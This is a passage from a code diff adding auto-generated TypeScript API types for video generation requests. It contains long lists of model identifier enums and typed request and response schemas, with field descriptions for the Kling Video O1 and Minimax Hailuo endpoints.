'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosKwaivgiKlingVideoO1RequestModelEnumKey = + (typeof openrouterPostVideosKwaivgiKlingVideoO1RequestModelEnum)[keyof typeof openrouterPostVideosKwaivgiKlingVideoO1RequestModelEnum] + +export const openrouterPostVideosKwaivgiKlingVideoO1RequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '720x720': '720x720', +} as const + +export type OpenrouterPostVideosKwaivgiKlingVideoO1RequestSizeEnumKey = + (typeof openrouterPostVideosKwaivgiKlingVideoO1RequestSizeEnum)[keyof typeof openrouterPostVideosKwaivgiKlingVideoO1RequestSizeEnum] + +/** + * @description Kling: Video O1 (kwaivgi/kling-video-o1) — model-constrained video generation request. Kling Video O1 is a video generation model from Kuaishou. It supports text and image inputs with video output, enabling text-to-video and image-to-video workflows. It is suited for cinematic content... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosKwaivgiKlingVideoO1Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosKwaivgiKlingVideoO1RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosKwaivgiKlingVideoO1RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosKwaivgiKlingVideoO1RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: negative_prompt. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: '720p' + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosKwaivgiKlingVideoO1RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosKwaivgiKlingVideoO1Options = { + body: OpenrouterPostVideosKwaivgiKlingVideoO1Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosKwaivgiKlingVideoO1Responses = { + '200': OpenrouterPostVideosKwaivgiKlingVideoO1Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosKwaivgiKlingVideoO1Response = + OpenrouterPostVideosKwaivgiKlingVideoO1Status200 + +export const openrouterPostVideosMinimaxHailuo23Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosMinimaxHailuo23Status200StatusEnumKey = + (typeof openrouterPostVideosMinimaxHailuo23Status200StatusEnum)[keyof typeof openrouterPostVideosMinimaxHailuo23Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosMinimaxHailuo23Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosMinimaxHailuo23Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosMinimaxHailuo23RequestDurationEnum = { + '6': 6, + '10': 10, +} as const + +export type OpenrouterPostVideosMinimaxHailuo23RequestDurationEnumKey = + (typeof openrouterPostVideosMinimaxHailuo23RequestDurationEnum)[keyof typeof openrouterPostVideosMinimaxHailuo23RequestDurationEnum] + +export const openrouterPostVideosMinimaxHailuo23RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': 